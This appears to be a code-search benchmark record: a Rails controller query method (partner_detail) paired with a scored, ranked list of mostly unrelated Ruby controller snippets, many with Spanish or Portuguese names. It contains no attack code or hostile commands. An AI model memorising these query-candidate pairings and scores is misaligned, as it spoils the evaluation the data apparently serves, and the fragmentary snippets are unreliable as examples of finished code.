[ { "docid": "a66af04ee3c25582702179aef21b4bdd", "score": "0.0", "text": "def partner_detail\n if params[:jeton] == 'grvpc'\n @query = Grvpc.find_by(id: params[:id])\n elsif params[:jeton] == 'metropolis'\n @query = Metropoli.find_by(id: params[:id])\n elsif params[:jeton] == 'member'\n @query = Member.find_by(id: params[:id])\n end\n #render layout: 'fylo'\n render layout: 'views/index'\n end", "title": "" } ]
[ { "docid": "523dc66328cadda48cafa104b54a7ad0", "score": "0.67483294", "text": "def show\n #@parts = Part.find_by(id: @technique.part_id)\n @parts = Part.find(@technique.part_id)\n end", "title": "" }, { "docid": "222a1fd18023c96c36ff98a90a514586", "score": "0.6653642", "text": "def show\n @partextras = Partextra.all\n end", "title": "" }, { "docid": "2a4eab8ee57c9387d39a735d7f5c616d", "score": "0.6488234", "text": "def index\n @part_details = PartDetail.all\n end", "title": "" }, { "docid": "7b0f1b576870aa376bbd52b522fcf1c6", "score": "0.64741105", "text": "def show\n @fields = FormularioField.where \"formulario_id =?\", @formulario.id\n end", "title": "" }, { "docid": "e578e4cc9844fd1e57a8d1b0995e75da", "score": "0.6438166", "text": "def show\n @objetivos = Objetivo.select(\"id\", \"nombre\",\"descripcion\").where(:mision_id => params[:id])\n @estrellas = Estrella.select(\"idobjetivo_id\", \"idusuario_id\", \"est1\", \"est2\", \"est3\").where(idusuario_id: current_usuario.id)\n #Para optimizar se deberá agregar un campo de idmision y requerirlo en la misma consulta de la línea anterior, para disminuir el tamaño del array\n end", "title": "" }, { "docid": "749283264112273c3c9de5c3ef75fd62", "score": "0.6362421", "text": "def parts\n @descriptive_detail.parts\n end", "title": "" }, { "docid": "06c3b0cb44edbc329b7bfebb8c42a3fc", "score": "0.6310395", "text": "def show\n add_breadcrumb \"Detalles\", @prospectos\n end", "title": "" }, { "docid": "f7346d6e49bc923e0239f8e1184142bd", "score": "0.63038903", "text": "def index\n @partidas = Partida.all\n end", "title": "" }, { "docid": "2d73cfd5530be54a6396b766c5b44b69", "score": "0.6278121", "text": "def show\n # @apertura_caja = AperturaCaja.find(params[:id])\n @apertura_caja_detalle = AperturaCajasDetalle.new\n @apertura_cajas_detalles = AperturaCajasDetalle.all\n end", "title": "" }, { "docid": "194f15d1e093331e75331fc95f994ee1", "score": "0.6231315", "text": "def set_part_detail\n @part_detail = PartDetail.find(params[:id])\n end", "title": "" }, { "docid": "80f240900e9518d709440c3521deba4b", "score": "0.62299764", "text": "def index\n @partidas = Partida.all\n end", "title": "" }, { "docid": "5a11ca6f8e8e8b757d69aa811061ad5f", "score": "0.62253904", "text": "def show\n @medicamentos = Medicamento.all\n @ficha_docs = Diagnostico.joins(:ficha_doc).where(ficha_medica: @ficha_medica_id)\n @diagnosticos = Diagnostico.joins(:ficha_docs).where(ficha_medica: @ficha_medica_id)\n @stock_medica = @diagnostico.stock_medicas.build\n @ficha_doc = @diagnostico.ficha_docs.build\n end", "title": "" }, { "docid": "8fe9c43e0e31168d13d9024b59fe9cad", "score": "0.62146914", "text": "def show\n @equipe_persos = EquipePerso.all\n @joueurs = Joueur.all\n end", "title": "" }, { "docid": "a20bf5da63d37a09d96add45f1326a2f", "score": "0.6211854", "text": "def show\n # Se ordenaran alfabeticamente por orden de unidad\n # @secuencia = GranUnidad.select(:id, :region_militar_id).order(:region_militar_id).ids\n @array = ActiveRecord::Base.connection.execute(\"SELECT gu.id FROM gran_unidad gu INNER JOIN region_militar rm ON gu.region_militar_id = rm.id ORDER BY rm.nombre\")\n @secuencia = []\n @array.each do |item|\n @secuencia << item[\"id\"]\n end\n @gran_unidad = GranUnidad.find(params[:id])\n @breadcrumb.push << {nombre: @gran_unidad.nombre, url: @gran_unidad}\n @unidades = @gran_unidad.unidad\n end", "title": "" }, { "docid": "ee13caa5d18158ddb380fa487118df02", "score": "0.6160674", "text": "def mostrar_partidos\n \n puts \" \"\n puts \"Quantidade de votos por partido\"\n \n for partido in @partido\n partido.mostrar_dados \n end\n end", "title": "" }, { "docid": "285ad0e99edb6e748252df8acd12f078", "score": "0.6153341", "text": "def show_details\n @selected.details\n end", "title": "" }, { "docid": "72a19ce2d85387dd98326e41f26bf41b", "score": "0.6127874", "text": "def show\n @factura = Factura.find(params[:id])\n @contrato = @factura.contrato \n @factura_details = @factura.factura_details \n \n \n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @factura }\n end\n \n \n \n end", "title": "" }, { "docid": "20223e577fe07d747583a04f0e84f99b", "score": "0.61021364", "text": "def show\n # Se ordenaran alfabeticamente\n @secuencia = Cuartel.select(:id, :nombre).order(:nombre).ids\n @cuartel = Cuartel.find(params[:id])\n @breadcrumb.push << {nombre: @cuartel.nombre, url: @cuartel}\n @personal = @cuartel.personal\n @armamento = ActiveRecord::Base.connection.execute(\"\n SELECT a.nombre, ca.cantidad, al.id FROM arma_ligera al\n INNER JOIN armamento a ON a.id = al.armamento_id\n INNER JOIN cuartel_armamento ca ON a.id = ca.armamento_id\n INNER JOIN cuarteles c ON c.id = ca.cuartel_id\n WHERE c.id = #{@cuartel.id}\n ORDER BY a.nombre\")\n\n @vehiculos = ActiveRecord::Base.connection.execute(\"\n SELECT v.nombre, cv.cantidad, cv.vehiculo_id FROM cuarteles c\n INNER JOIN cuartel_vehiculo cv ON c.id = cv.cuartel_id\n INNER JOIN vehiculos v ON v.id = cv.vehiculo_id\n WHERE c.id = #{@cuartel.id}\n ORDER BY v.nombre\")\n end", "title": "" }, { "docid": "22a04a931d37299df161b43753e9b242", "score": "0.6084831", "text": "def show\n @diagnosticos = Diagnostico.all\n @stock_medicas = StockMedica.where(diagnostico_id == ficha_doc.diagnostico_id) \n end", "title": "" }, { "docid": "c1358d6d49651bc106c93016a3ab1636", "score": "0.60711044", "text": "def show\n @partenaire = Partenaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @partenaire }\n end\n end", "title": "" }, { "docid": "c1358d6d49651bc106c93016a3ab1636", "score": "0.60711044", "text": "def show\n @partenaire = Partenaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @partenaire }\n end\n end", "title": "" }, { "docid": "0ffb98675bb3b7e8574568cf8aae5844", "score": "0.6046583", "text": "def show\n #@departamento = Ubigeo.find_by_sql(\"where idDepartamento=\"+@estacionamiento.departamento.to_s)\n @serv_adicinales = ServAdicinale.all\n @departamento = Ubigeo.where(:idDepartamento => @estacionamiento.departamento).first\n @provincia = Ubigeo.where(:idProvincia => @estacionamiento.provincia).first\n @distrito = Ubigeo.where(:idDistrito => @estacionamiento.distrito).first\n @lista_departamentos = Ubigeo.find_by_sql(\"select distinct idDepartamento, Departamento from ubigeos\")\n @lista_provincias = Ubigeo.find_by_sql(\"select distinct idProvincia, Provincia from ubigeos\")\n @lista_distritos = Ubigeo.find_by_sql(\"select distinct idDistrito, Distrito from ubigeos\")\n \n end", "title": "" }, { "docid": "bf93e7e68fe54a23753f75ed04d7284c", "score": "0.60366875", "text": "def partido\n localidad.partido\n end", "title": "" }, { "docid": "232441db3806d3d19cff8173e17eee65", "score": "0.6026182", "text": "def show\n @part_detail = PartDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @part_detail }\n end\n end", "title": "" }, { "docid": "a8cdb484202455bb95fc9640812aa31e", "score": "0.60226744", "text": "def display_details()\n puts \"Numele persoanei: #@nume\"\n puts \"Prenumele persoanei: #@prenume\"\n end", "title": "" }, { "docid": "a8cdb484202455bb95fc9640812aa31e", "score": "0.60226744", "text": "def display_details()\n puts \"Numele persoanei: #@nume\"\n puts \"Prenumele persoanei: #@prenume\"\n end", "title": "" }, { "docid": "592619f33206945f775e4850b53cde82", "score": "0.6014744", "text": "def show\n @fisierele = Fisier.where(capitol_id: @capitol.id)\n @todouri = Todo.where(capitol_id: @capitol.id)\n @comentarii = ComentariuCapitol.where(capitol_id: @capitol.id)\n @studentid = Licenta.find(@capitol.licenta_id).user_id\n @student = User.find(@studentid)\n @tema = Tema.find(Licenta.find(@capitol.licenta_id).tema_id)\n end", "title": "" }, { "docid": "1b8024824d489bedeac7ab6675e21983", "score": "0.6008406", "text": "def details\n\n end", "title": "" }, { "docid": "50e78532e380a9dc1feca45f03117c20", "score": "0.5986432", "text": "def detail\n output = []\n detail_fields.each do |field_name|\n output << [field_name.to_s, field(field_name).to_s]\n end\n\n output\n end", "title": "" }, { "docid": "b02f75a605c49a52b1eebfbcf951c6d1", "score": "0.5968259", "text": "def show\n # 疾病\n @diseases = MedicineDisease.where(medicine_id: @medicine.id)\n # 药效\n @efficacies = MedicineEfficacy.where(medicine_id: @medicine.id)\n # 药方\n @prescriptions = PrescriptionDetail.where(medicine_id: @medicine.id)\n end", "title": "" }, { "docid": "9fa43a992909f917adc9a580300f3199", "score": "0.5967406", "text": "def show\n @order_line = OrderLine.new\n @article_list = Article.all\n @article_list.each do |option|\n @article_id = option.id\n @article_description = option.description\n end\n end", "title": "" }, { "docid": "3de6c0372a2e1007243b9631293d08d6", "score": "0.59651196", "text": "def show\n @comentarii = ComentariuFisier.where(fisier_id: @fisier.id)\n @capitol = Capitol.find(@fisier.capitol_id)\n @studentid = Licenta.find(@capitol.licenta_id).user_id\n @student = User.find(@studentid)\n @tema = Tema.find(Licenta.find(@capitol.licenta_id).tema_id)\n end", "title": "" }, { "docid": "aa3a825744efdc150352bd5ea8c3ca47", "score": "0.59635365", "text": "def show\n @partido = Partido.find(params[:id])\n end", "title": "" }, { "docid": "4f07dd1a4ff2a8c0ab61d9ca9ed8a49e", "score": "0.59618235", "text": "def show\n ##puts Transacao.find(2).cliente.nome\n ##puts Imposto.find(18).tabela_de_limites.limite_inferior\n end", "title": "" }, { "docid": "363e14d1d9dd7831dfde2c8c8b20c606", "score": "0.59593916", "text": "def show\n add_breadcrumb \"Detalles\", @reqcargos\n end", "title": "" }, { "docid": "6a7103d8623f0bd1960ddf9560c45814", "score": "0.59385264", "text": "def details\n end", "title": "" }, { "docid": "736cf20cd9e2b4233a3e3750b7d7e28c", "score": "0.59362", "text": "def show\n\t\t# Mapeando Secoes:\n\t\t@secoes = Section.where(\"ativo = 't'\")\n\t\t@departamentos = Departamento.where(\"ativo = 't'\")\n\t\t\n\t\t@produt = Produt.find(params[:id])\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml {render :xml => \"/loja\"}\n\t\tend\n\t\t\n\tend", "title": "" }, { "docid": "f38f566e6dcc30e81d6442cb60ce54a8", "score": "0.5928612", "text": "def show\n @organisme.departements.each do |dep|\n logger.debug \"Departement present : \" + dep.description.to_s()\n end\n end", "title": "" }, { "docid": "8b5a9ef37b28476c7e2e2782364db884", "score": "0.59228104", "text": "def show\n @parlementaire = Parlementaire.find(params[:id])\n end", "title": "" }, { "docid": "2588bf585d3d6d8a754381631f34757a", "score": "0.5920448", "text": "def show\n @lienthemes = Lientheme.where(oeuvre:@oeuvre)\n @passage = Passage.where(oeuvre:@oeuvre)\n end", "title": "" }, { "docid": "bad1a2570045a6be390efd61cb051d47", "score": "0.5909924", "text": "def show\n @employees = Employee.all\n @faltantes = Tipofaltante.all\n \n end", "title": "" }, { "docid": "1561fb5881a03298d19e695551ff6f4e", "score": "0.5904866", "text": "def show\n @cultural_heritage_part = CulturalHeritage::Part.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cultural_heritage_part }\n end\n end", "title": "" }, { "docid": "4408454f3b4d9aab3224c2a55fcecb2d", "score": "0.5888252", "text": "def pe_many_collection_details(details, form)\n details.each_with_index do |detail_to_ids,idx|\n detail = detail_to_ids[0]\n detail_name_plural ||= detail.class.to_s.tableize\n detail_name ||= detail_name_plural.singularize\n if detail.person.user == current_user\n form.fields_for \"#{detail_name_plural}_attributes[]\", detail,\n :index => \"new_#{idx}\" do |form_detail|\n concat(render(:partial => 'people/'+detail_name, :object => form_detail))\n end\n else\n concat(self.send('p_'+detail_name, detail))\n end\n end\n end", "title": "" }, { "docid": "d031249c8baf2b0c94127b3f9c544704", "score": "0.58666164", "text": "def show\n @modelo = Modelo.find(params[:id])\n \n @competencias = Detallecompetencia.where(:id_modelo => @modelo.id)\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @modelo }\n end\n end", "title": "" }, { "docid": "393d1179692dcc4a43bde3c62ab1e159", "score": "0.5861263", "text": "def show\n add_breadcrumb 'details', departements_path\n end", "title": "" }, { "docid": "2edf95a30dc858f46ff0f78e60b339ab", "score": "0.58587205", "text": "def show\n movimiento_caja = MovimientoCaja.find(params[:movimiento_caja_id])\n @movimiento_de_cajas_detalles = movimiento_caja.movimiento_de_cajas_detalles.find(params[:id])\n end", "title": "" }, { "docid": "0da57477eabc7aae3663ef37e8973811", "score": "0.5854713", "text": "def show\n\t\t# Mapeando Departamentos e Seções ativas\n\t\t@secoes = Section.where(\"ativo = 't'\")\n\t\t@departamentos = Departamento.where(\"ativo = 't'\")\n\n\t\t@pedido = Venda.find(params[:id])\n\t\t@item = Item.where('venda_id = ?',@pedido.id.to_s).all\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml {render :xml => @pedido}\n\t\tend\n\tend", "title": "" }, { "docid": "961344eeae7fe27c5e92b4e6d6e317d1", "score": "0.5853046", "text": "def show\n @perfil = Profissional.select(:id, :nome_comercial, :nome_completo).joins(:profissoes_profissionais, :areas_profissionais, :servicos).select(:profissao_id)\n end", "title": "" }, { "docid": "5e3874f4671bb92f42254f775025e71e", "score": "0.58460486", "text": "def show\n @ficha = (params[:ficha].present? && params[:ficha] == '1')\n\n cuantos = @comentario.descendants.count\n categoriaContenido = @comentario.categorias_contenido_id\n\n if cuantos > 0\n resp = @comentario.descendants.map{ |c|\n c.completa_info(@comentario.usuario_id)\n c\n }\n\n @comentarios = {estatus:1, cuantos: cuantos, resp: resp}\n\n else\n @comentarios = {estatus:1, cuantos: cuantos}\n end\n\n # Para saber el id del ultimo comentario, antes de sobreescribir a @comentario\n ultimo_comentario = @comentario.subtree.order('ancestry ASC').map(&:id).reverse.first\n\n # Especie\n especie_id = @comentario.especie_id\n\n # Crea el nuevo comentario con las clases de la gema ancestry\n @comentario = Comentario.children_of(ultimo_comentario).new\n\n # El ID del administrador\n @comentario.usuario_id = current_usuario.id unless @ficha\n\n # Estatus 6 quiere decir que es parte del historial de un comentario\n @comentario.estatus = Comentario::RESPUESTA\n\n # Categoria comentario ID\n @comentario.categorias_contenido_id = categoriaContenido\n\n # Para no poner la caseta de verificacion\n @comentario.con_verificacion = false\n\n # Proviene de un administrador\n @comentario.es_admin = true\n\n # Asigna la especie\n @comentario.especie_id = especie_id\n end", "title": "" }, { "docid": "7b62d044188b4a6c4077805a2f19d6a9", "score": "0.5841942", "text": "def display_details\n return @selected.details\n end", "title": "" }, { "docid": "a891d34db2678fb2c9cb46b5c02b25f1", "score": "0.58400536", "text": "def show\n @comentarios = comentarios(params[:id])\n @festas = festas(params[:id])\n end", "title": "" }, { "docid": "6783f452f35122d41917ff42a74f5585", "score": "0.5838977", "text": "def show\n if params[:html_options].blank?\n @tab = 'lineas'\n else\n @tab = params[:html_options][:tab].blank? ? 'lineas' : params[:html_options][:tab]\n end\n @options = { 'tab' => @tab }\n\n @coleccion = {}\n @coleccion['lineas'] = @objeto.lineas.order(:orden)\n @coleccion['documentos'] = @objeto.documentos.order(:documento)\n @coleccion['observaciones'] = @objeto.observaciones.order(created_at: :desc)\n end", "title": "" }, { "docid": "aae06eb2068df87063184e3d03a5a612", "score": "0.58243936", "text": "def show\n @duedate = Duedate.find(params[:id])\n\n\n @projetos = Project.find_all_by_duedate_id(@duedate.id)\n \n \n @tabelaConcluido = [[\"Nome\", \"RA\", \"Conceito\"]]\n @tabelaPendente = [[\"Nome\", \"RA\", \"Status\"]] \n \n @projetos.each do |p|\n if p.status == 6\n @aluno = User.find_by_id(p.aluno_id)\n \n @board_document = BoardDocument.find_by_project_id(p.id)\n \n @linha = [ @aluno.name, @aluno.ra, @board_document.mark ]\n @tabelaConcluido.append(@linha)\n else\n @aluno = User.find_by_id(p.aluno_id)\n \n @linha = [ @aluno.name, @aluno.ra, retorna_status(p.status)]\n @tabelaPendente.append(@linha)\n end\n \n \n end\n \n if @tabelaConcluido == [[\"Nome\", \"RA\", \"Conceito\"]]\n @tabelaConcluido = [[\"Nenhum Projeto Concluido\"]] \n end \n if @tabelaPendente == [[\"Nome\", \"RA\", \"Status\"]]\n @tabelaPendente = [[\"Nenhum Projeto Pendente\"]] \n end \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @duedate }\n format.pdf { render :layout=>false }\n end\n end", "title": "" }, { "docid": "f1273bcbb1f5abe2331af75bbd96f4d3", "score": "0.5822745", "text": "def show\n @partido_politico = PartidoPolitico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @partido_politico }\n end\n end", "title": "" }, { "docid": "d0e8ba73dd7b3f0280cbc288184dd6d6", "score": "0.5810755", "text": "def show\n \n \n @viatico = Viatico.find(params[:id])\n \n @viatico_detail = @viatico.viatico_details\n \n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @viatico }\n end\n \n end", "title": "" }, { "docid": "db26b7638adb9327e96c8f353db8d55a", "score": "0.5809944", "text": "def index\n @partenaires = Partenaire.all.group_by(&:category_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @partenaires }\n end\n end", "title": "" }, { "docid": "d63007ef415c37b1d00f1fb795b8e2df", "score": "0.5802275", "text": "def show\n @detail = ZillowDetail.where(:property_id => @property).first\n @parties = Party.where(:property_id => @property)\n end", "title": "" }, { "docid": "25dccb52d325f6759f62621df3525a6f", "score": "0.579915", "text": "def show\n \n if @interessado.cartum.empty?\n @cartum = @interessado.cartum.build\n @cartum.save \n end\n \n if @interessado.doc_fiscais.empty?\n @doc_fiscais = @interessado.doc_fiscais.build\n @doc_fiscais.save \n end\n \n \n\n end", "title": "" }, { "docid": "1f66adce49f77e1647b9dabca76cc47d", "score": "0.57983077", "text": "def show\n @persona = Persona.find(params[:id])\n @paciente = @persona.perstable\n #aqui deben ir los datos del paciente tambien\n end", "title": "" }, { "docid": "a59f0022436f3a1a5c2aba7d2fa8b680", "score": "0.5795444", "text": "def show\n combo_producto\n combo_platillo\n end", "title": "" }, { "docid": "fdf864a57760e838c832033c3fea39a5", "score": "0.5794347", "text": "def show\n @tareapositivas = Tarea.where(listo: true)\n @tareas = Tarea.all\n end", "title": "" }, { "docid": "8dbf75dfc07a7990247c08b1601914d9", "score": "0.5790064", "text": "def new\n @part_detail = PartDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @part_detail }\n end\n end", "title": "" }, { "docid": "3783e0515c34422ce7be277f9e9fbb70", "score": "0.578047", "text": "def show\n #@estrellas = Estrella.select(\"idobjetivo_id\", \"idusuario_id\", \"est1\", \"est2\", \"est3\").where\n @estrella = Estrella.find_by(idusuario_id: current_usuario.id, idobjetivo_id: params[:id])\n \n end", "title": "" }, { "docid": "b2623d616c6548f499ec4b2355ba2eec", "score": "0.57670176", "text": "def index\n @reparticoes = Reparticao.all\n end", "title": "" }, { "docid": "9b5d2bccf467c111f4397584366bc4f9", "score": "0.5762175", "text": "def show\n @gabinete_objects = GabineteObject.all\n @expo = Exhibit.find_by(id: @gabinete_object.exhibit_id)\n set_actual_obj(@gabinete_objects, @expo)\n \n @fotos = @gabinete_object.photos.all\n @historia = @gabinete_object.histories.all\n @gabinete_object.photos.each do |ima|\n @imagem_portada = ima if ima.ocapa == true\n @imagem_cara = ima if ima.cara == true\n end\n end", "title": "" }, { "docid": "0d6c8c26829c6435472b79efe70c7796", "score": "0.5760447", "text": "def show\n @department = @speciality.department\n @courses = @speciality.courses\n end", "title": "" }, { "docid": "161a6e98500084599713cd3c98a7a778", "score": "0.5758822", "text": "def show\n @cen = Centro.where(\"cliente_id = 1\")\n @esp = Especialidad.joins(:centro).where(\"centros.cliente_id = 1\")\n end", "title": "" }, { "docid": "146516c2cb4efe28a28cef097193fed8", "score": "0.57570857", "text": "def show\n @asignatura_list = Asignatura.all\n @profesor = Profesor.find(params[:id])\n\n end", "title": "" }, { "docid": "a8138b26d885d8b99e29ce8279ccb0ac", "score": "0.5756238", "text": "def show\n\t\t@part = Part.find(params[:id])\n# \t\t@product = Product.find(@part.product_id)\n\t\t@supplier = Supplier.find(@part.supplier_id)\n\t\t\n\t\trespond_to do |format|\n\t\tformat.html # show.html.erb\n\t\tformat.json { render json: @part }\n\t\tend\n\tend", "title": "" }, { "docid": "258d9e30b03f3d003d4549ec06500514", "score": "0.5754613", "text": "def show\n muestra = Muestra.find(params[:id])\n @empleado = Empleado.find(muestra.empleado_id)\n @tarea = Tarea.find(muestra.tarea_id)\n end", "title": "" }, { "docid": "80363631cebade0e9ef3f8882509b99d", "score": "0.57464665", "text": "def details; end", "title": "" }, { "docid": "be6ab06cbdc7df8cf2e8688e0158bfab", "score": "0.57433075", "text": "def show\n @activo = Activo.find(params[:id])\n @fichas = Ficha.find(:all, :conditions => [\"activo_id = ?\", @activo.id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activo }\n end\n end", "title": "" }, { "docid": "d3997d2774de3705904097c725292181", "score": "0.57429695", "text": "def show\n @orc_suplementacao = OrcSuplementacao.find(params[:id])\n\n @orc_ficha_origem = OrcFicha.find(:all, :conditions => [\"id = ?\",@orc_suplementacao.orc_ficha_origem_id])\n @orc_ficha_origem1= OrcUniOrcamentaria.find(:all, :conditions => [\"id=?\",@orc_ficha_origem[0].orc_uni_orcamentaria_id ])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @orc_suplementacao }\n end\n end", "title": "" }, { "docid": "80ac05bfd8932e13bef788aed34c20dc", "score": "0.5742262", "text": "def partenaires\n #render layout: 'admin'\n render layout: 'views/index'\n end", "title": "" }, { "docid": "91286e9107dc2301c9323fba6becee36", "score": "0.57396317", "text": "def detail\n attributes.fetch(:detail)\n end", "title": "" }, { "docid": "91286e9107dc2301c9323fba6becee36", "score": "0.57396317", "text": "def detail\n attributes.fetch(:detail)\n end", "title": "" }, { "docid": "491e86a1462fab2fc1f6a05fc53a7d02", "score": "0.5737587", "text": "def index\n @persona = Persona.find(params[:persona_id])\n @info_extra_paciente = @persona.info_extra_pacientes.all\n format.html { render :show }\n end", "title": "" }, { "docid": "145a13feb68fe8162afab366ecb5107e", "score": "0.5737078", "text": "def show\n @pessoa = Pessoa.find(params[:id])\n @listas = @pessoa.listas\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pessoa }\n end\n end", "title": "" }, { "docid": "2b6c18e15991af30a725ff4015ce280e", "score": "0.5736875", "text": "def show\n @relatorio = Relatorio.find(params[:id])\n @classe = Atribuicao.find(:all, :joins => :disciplina, :select=> 'classe_id, disciplinas.disciplina AS disc', :conditions => ['atribuicaos.id=? ', @relatorio.atribuicao_id])\n @professors = Professor.find(:all, :select => 'nome', :joins => \"INNER JOIN atribuicaos ON professors.id = atribuicaos.professor_id INNER JOIN classes ON classes.id = atribuicaos.classe_id\", :conditions => ['atribuicaos.classe_id=?', @classe[0].classe_id])\n #@professors = Professor.find(:all, :select => 'nome', :joins => \"INNER JOIN relatorios ON professors.id = relatorios.professor_id\", :conditions => ['relatorios.id=?', params[:id]])\n #@professors = Professor.find(:all, :select => 'nome', :joins => \"INNER JOIN atribuicaos ON professors.id = atribuicaos.professor_id INNER JOIN classes ON classes.id = atribuicaos.classe_id\", :conditions => ['atribuicaos.id=? ano_letivo =?' , @classe[0].classe_id, Time.now.year])\n session[:imprimir_todos]=0\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relatorio }\n end\n end", "title": "" }, { "docid": "732c03240c1d8a3efcc1f3245c5078a6", "score": "0.57348365", "text": "def set_detalles_basico\n @detalles_basico = DetallesBasico.find(params[:id])\n end", "title": "" }, { "docid": "c37cd44bc4949b931143f334adceb20c", "score": "0.5725204", "text": "def show\n @id_adopcion = params[:id]\n @mascotas = Mascotum.all\n @personas = Persona.all\n @seguimientos = Seguimiento.where(:id_adopcion => params[:id])\n end", "title": "" }, { "docid": "3821e4c650a3ba44760d174b7500a3cf", "score": "0.5725046", "text": "def show\n @part = Part.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @part }\n end\n end", "title": "" }, { "docid": "9c164897cf71698fb98e835dd5ed7e10", "score": "0.57202774", "text": "def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end", "title": "" }, { "docid": "963a451f7bf48d25ef02095e73edc723", "score": "0.57194024", "text": "def show\n distritos = Ubigeo.where('ug_id = ?', @request.ubigeo_id)\n @distrito = distritos.first\n provincias = Ubigeo.where('ug_id = ?', @distrito.parent_id)\n @provincia = provincias.first\n departamentos = Ubigeo.where('ug_id = ?', @provincia.parent_id)\n @departamento = departamentos.first\n render layout: 'ultra-empty'\n end", "title": "" }, { "docid": "0be23632a06bf789b1f9b24c46540731", "score": "0.57149625", "text": "def show\n #@propiedad = Propiedad.find(propiedad_params[:id])\n end", "title": "" }, { "docid": "cf5239391d7ffcebdc4821e5c9dfde43", "score": "0.5709382", "text": "def show\n @parts = @recipe.parts\n @avaliable = @recipe.avaliable\n end", "title": "" }, { "docid": "00c03e38b1134f3ba4cc79c1e734f68e", "score": "0.5708588", "text": "def show\n @comentarios = @placa.comentarios\n end", "title": "" }, { "docid": "238e052ac138d10244d01e2f43201910", "score": "0.57064223", "text": "def show\n @periode = Periode.find(params[:id])\n @periode.linkPaiesToFeuilles\n end", "title": "" }, { "docid": "0d8d1ac9747e7fc863b6b049e370a0a7", "score": "0.56969917", "text": "def show\n @coligacao_partido = ColigacaoPartido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coligacao_partido }\n end\n end", "title": "" }, { "docid": "2db25393a24b5002244db489efa1dcde", "score": "0.56948626", "text": "def index\n @structures = Structure.all\n add_breadcrumb 'partenaires', structures_path\n end", "title": "" }, { "docid": "ada65b2d5837d11758a70173ab76fd6b", "score": "0.56940424", "text": "def show\n @produtos = @fornecedor.produtos\n @telefones = @fornecedor.telefones\n @emails = @fornecedor.emails\n end", "title": "" }, { "docid": "ebef7a0c70b806fb0f6a3513606a7a81", "score": "0.56918794", "text": "def show\n @comentarios_disciplina = Comentar.find(params[:id])\n add_breadcrumb \"Exibindo Comentário\" \n end", "title": "" }, { "docid": "5cbec2d6d53ee6e7f4a025c889289da0", "score": "0.5688647", "text": "def show\n @interface_fields, @solution_fields = @process_pattern.field_instances\n @relation_descriptors = @process_pattern.pattern_formalism.system_formalism.relation_descriptors\n @field_relations = @relation_descriptors.inject({}) do |acc, relation_descriptor|\n if relation_descriptor.associated_field_id.present?\n associated_patterns = @process_pattern.relations.select{|r| r.relation_descriptor.associated_field_id == \\\n relation_descriptor.associated_field_id} \\\n .collect{|r| r.target_pattern}\n\n acc[relation_descriptor.associated_field_id] = {:relation_descriptor => relation_descriptor, :patterns => associated_patterns}\n end\n acc\n end\n @relations = @relation_descriptors.inject({}) do |acc,relation_descriptor|\n associated_patterns = @process_pattern.relations.select{|r| r.relation_descriptor == relation_descriptor} \\\n .collect{|r| r.target_pattern}\n acc[relation_descriptor.name] = associated_patterns\n acc\n end\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @process_pattern }\n end\n end", "title": "" }, { "docid": "a701908dc04326c348fa595606ae626c", "score": "0.5688212", "text": "def show\n @microarraygal = Microarraygal.find(params[:id])\n @title = \"Microarray GAL files\"\n\n if @microarraygal.nil?\n redirect_to :action => \"index\"\n end\n @pt = Partner.find(@microarraygal.partner_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @microarraygal }\n end\n end", "title": "" }, { "docid": "b35c2ed85107c63398a369c2434801b8", "score": "0.5684527", "text": "def show\r\n @sivic_partevenrelacelulas = SivicParticipantecelula.all\r\n\r\n @sivic_Observacoesrelatorios = Observacoesrelatorio.where(:sivic_relatorioscelula_id => params[:id])\r\n end", "title": "" }, { "docid": "b45dd41f5acdab073ffb03d441119767", "score": "0.5682423", "text": "def show\n @task_file = TaskFile.new\n @task_files = TaskFile.all\n @descussion = Descussion.new\n @descussions = Descussion.all\n end", "title": "" }, { "docid": "37ed599738f7cd63bd1f67c654c36bd6", "score": "0.567516", "text": "def additional_details\n\n end", "title": "" }, { "docid": "03420e769f94ceb675e868381e320394", "score": "0.56745315", "text": "def index\n @subparts = Subpart.all\n end", "title": "" }, { "docid": "7506491dc6b78fccbc54fa6e2f0b244a", "score": "0.56716347", "text": "def show\n #calculo de presupuesto\n \n end", "title": "" }, { "docid": "6a2891c8a4b186471953e2c2518a068b", "score": "0.5668265", "text": "def show\n \n @pago = Pago.find(params[:id])\n if params[:paciente_id] == nil\n @paciente=Operation.find_by_pago_id(params[:id]).cita.consulta.paciente\n else\n @paciente=Paciente.find(params[:paciente_id])\n end\n if params[:paciente_id] == nil\n @operation=Operation.find_by_pago_id(params[:id])\n else\n @operation = Operation.find(params[:operation_id])\n end\n @estudio = Estudio.find(@operation.tipo_id)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pago }\n end\n end", "title": "" }, { "docid": "5347e204c9fbc45653b91f74a646df78", "score": "0.56665915", "text": "def new\n @produto = Produto.new\n #@departamentos = Departamento.all\n\n renderiza :new\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
